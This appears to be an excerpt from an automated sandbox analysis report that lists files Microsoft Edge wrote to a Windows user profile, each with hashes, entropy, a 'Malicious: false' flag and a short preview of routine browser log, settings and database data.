Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.231834030014991
Encrypted:	false
SSDEEP:	6:HGTOq2PN723oH+TcwtfrK+IFUt8YGHFKZmw+YGHF2kwON723oH+TcwtfrUeLJ:kOvVaYeb23FUt8XQ/+XY5OaYeb3J
MD5:	3B51D55ED709DD5DD9F077A069D33032
SHA1:	AB85E4899BBC76AA5046ECC877033FEAEA617764
SHA-256:	007A8B42EFB9E0B07043875986B5E8B6D38E74382721CC7D060D14C2278FAC90
SHA-512:	D118D5EF66DA1F2F797756123C9AD3A8E4B406031148692F85396B517D427747A686A47EF259583982C9B1E82A8B7EAE0F7070446C593AC6C399A4D9F27E6CAF
Malicious:	false
Preview:	2024/11/24-23:46:36.890 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/24-23:46:36.891 1b40 Recovering log #3.2024/11/24-23:46:36.891 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.231834030014991
Encrypted:	false
SSDEEP:	6:HGTOq2PN723oH+TcwtfrK+IFUt8YGHFKZmw+YGHF2kwON723oH+TcwtfrUeLJ:kOvVaYeb23FUt8XQ/+XY5OaYeb3J
MD5:	3B51D55ED709DD5DD9F077A069D33032
SHA1:	AB85E4899BBC76AA5046ECC877033FEAEA617764
SHA-256:	007A8B42EFB9E0B07043875986B5E8B6D38E74382721CC7D060D14C2278FAC90
SHA-512:	D118D5EF66DA1F2F797756123C9AD3A8E4B406031148692F85396B517D427747A686A47EF259583982C9B1E82A8B7EAE0F7070446C593AC6C399A4D9F27E6CAF
Malicious:	false
Preview:	2024/11/24-23:46:36.890 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/24-23:46:36.891 1b40 Recovering log #3.2024/11/24-23:46:36.891 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.204731454236188
Encrypted:	false
SSDEEP:	6:HGoq2PN723oH+TcwtfrzAdIFUt8YG4XZmw+YGbJkwON723oH+TcwtfrzILJ:fvVaYeb9FUt8IX/+V5OaYeb2J
MD5:	73B09870DFAF3B3B5E941ACD1146D9BC
SHA1:	98A32276E02BE0C2E9EDD79983762C1239F20631
SHA-256:	9916819BED933A9C0D279C6A3A4D6B316B1492F5A81351C3BD2D10CD56F9E690
SHA-512:	27AEF07FE99E1FD273DCC87F6ECA03CE29EB1E9BF44BE48BE31A3EFD09238068C9DCE124D5BD3A22A902526FD7121516D3BB87E81A8CE28309F71E652F4AD848
Malicious:	false
Preview:	2024/11/24-23:46:36.881 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/24-23:46:36.882 1b40 Recovering log #3.2024/11/24-23:46:36.883 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.204731454236188
Encrypted:	false
SSDEEP:	6:HGoq2PN723oH+TcwtfrzAdIFUt8YG4XZmw+YGbJkwON723oH+TcwtfrzILJ:fvVaYeb9FUt8IX/+V5OaYeb2J
MD5:	73B09870DFAF3B3B5E941ACD1146D9BC
SHA1:	98A32276E02BE0C2E9EDD79983762C1239F20631
SHA-256:	9916819BED933A9C0D279C6A3A4D6B316B1492F5A81351C3BD2D10CD56F9E690
SHA-512:	27AEF07FE99E1FD273DCC87F6ECA03CE29EB1E9BF44BE48BE31A3EFD09238068C9DCE124D5BD3A22A902526FD7121516D3BB87E81A8CE28309F71E652F4AD848
Malicious:	false
Preview:	2024/11/24-23:46:36.881 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/24-23:46:36.882 1b40 Recovering log #3.2024/11/24-23:46:36.883 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800010924139
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRnkzItSmd6qE7lFoC
MD5:	50D83A397E6066745AF8152332D655B3
SHA1:	FA99BBF7AD13485D96CBDA7B76E9A6CC08FEC1D3
SHA-256:	8A2EA5118B0ED634D96FF6E004A4848ADA765D0D4D27EF0B66B75C7BFA8ACCBE
SHA-512:	C4CF68868F0C04DB078563E54E7B40B94BE24C26491772045633BBD5C6C5365EF3CB3346591B728DFA56D0593181D458FDF23EA0E6895D82EB46E52824FD3C87
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a8c4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800010924139
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRnkzItSmd6qE7lFoC
MD5:	50D83A397E6066745AF8152332D655B3
SHA1:	FA99BBF7AD13485D96CBDA7B76E9A6CC08FEC1D3
SHA-256:	8A2EA5118B0ED634D96FF6E004A4848ADA765D0D4D27EF0B66B75C7BFA8ACCBE
SHA-512:	C4CF68868F0C04DB078563E54E7B40B94BE24C26491772045633BBD5C6C5365EF3CB3346591B728DFA56D0593181D458FDF23EA0E6895D82EB46E52824FD3C87
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a8d4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800010924139
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRnkzItSmd6qE7lFoC
MD5:	50D83A397E6066745AF8152332D655B3
SHA1:	FA99BBF7AD13485D96CBDA7B76E9A6CC08FEC1D3
SHA-256:	8A2EA5118B0ED634D96FF6E004A4848ADA765D0D4D27EF0B66B75C7BFA8ACCBE
SHA-512:	C4CF68868F0C04DB078563E54E7B40B94BE24C26491772045633BBD5C6C5365EF3CB3346591B728DFA56D0593181D458FDF23EA0E6895D82EB46E52824FD3C87
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3aa7a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800010924139
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRnkzItSmd6qE7lFoC
MD5:	50D83A397E6066745AF8152332D655B3
SHA1:	FA99BBF7AD13485D96CBDA7B76E9A6CC08FEC1D3
SHA-256:	8A2EA5118B0ED634D96FF6E004A4848ADA765D0D4D27EF0B66B75C7BFA8ACCBE
SHA-512:	C4CF68868F0C04DB078563E54E7B40B94BE24C26491772045633BBD5C6C5365EF3CB3346591B728DFA56D0593181D458FDF23EA0E6895D82EB46E52824FD3C87
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d17a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800010924139
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRnkzItSmd6qE7lFoC
MD5:	50D83A397E6066745AF8152332D655B3
SHA1:	FA99BBF7AD13485D96CBDA7B76E9A6CC08FEC1D3
SHA-256:	8A2EA5118B0ED634D96FF6E004A4848ADA765D0D4D27EF0B66B75C7BFA8ACCBE
SHA-512:	C4CF68868F0C04DB078563E54E7B40B94BE24C26491772045633BBD5C6C5365EF3CB3346591B728DFA56D0593181D458FDF23EA0E6895D82EB46E52824FD3C87
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41c1f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800010924139
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRnkzItSmd6qE7lFoC
MD5:	50D83A397E6066745AF8152332D655B3
SHA1:	FA99BBF7AD13485D96CBDA7B76E9A6CC08FEC1D3
SHA-256:	8A2EA5118B0ED634D96FF6E004A4848ADA765D0D4D27EF0B66B75C7BFA8ACCBE
SHA-512:	C4CF68868F0C04DB078563E54E7B40B94BE24C26491772045633BBD5C6C5365EF3CB3346591B728DFA56D0593181D458FDF23EA0E6895D82EB46E52824FD3C87
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4bb4d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800010924139
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRnkzItSmd6qE7lFoC
MD5:	50D83A397E6066745AF8152332D655B3
SHA1:	FA99BBF7AD13485D96CBDA7B76E9A6CC08FEC1D3
SHA-256:	8A2EA5118B0ED634D96FF6E004A4848ADA765D0D4D27EF0B66B75C7BFA8ACCBE
SHA-512:	C4CF68868F0C04DB078563E54E7B40B94BE24C26491772045633BBD5C6C5365EF3CB3346591B728DFA56D0593181D458FDF23EA0E6895D82EB46E52824FD3C87
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF51c3a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800010924139
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRnkzItSmd6qE7lFoC
MD5:	50D83A397E6066745AF8152332D655B3
SHA1:	FA99BBF7AD13485D96CBDA7B76E9A6CC08FEC1D3
SHA-256:	8A2EA5118B0ED634D96FF6E004A4848ADA765D0D4D27EF0B66B75C7BFA8ACCBE
SHA-512:	C4CF68868F0C04DB078563E54E7B40B94BE24C26491772045633BBD5C6C5365EF3CB3346591B728DFA56D0593181D458FDF23EA0E6895D82EB46E52824FD3C87
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

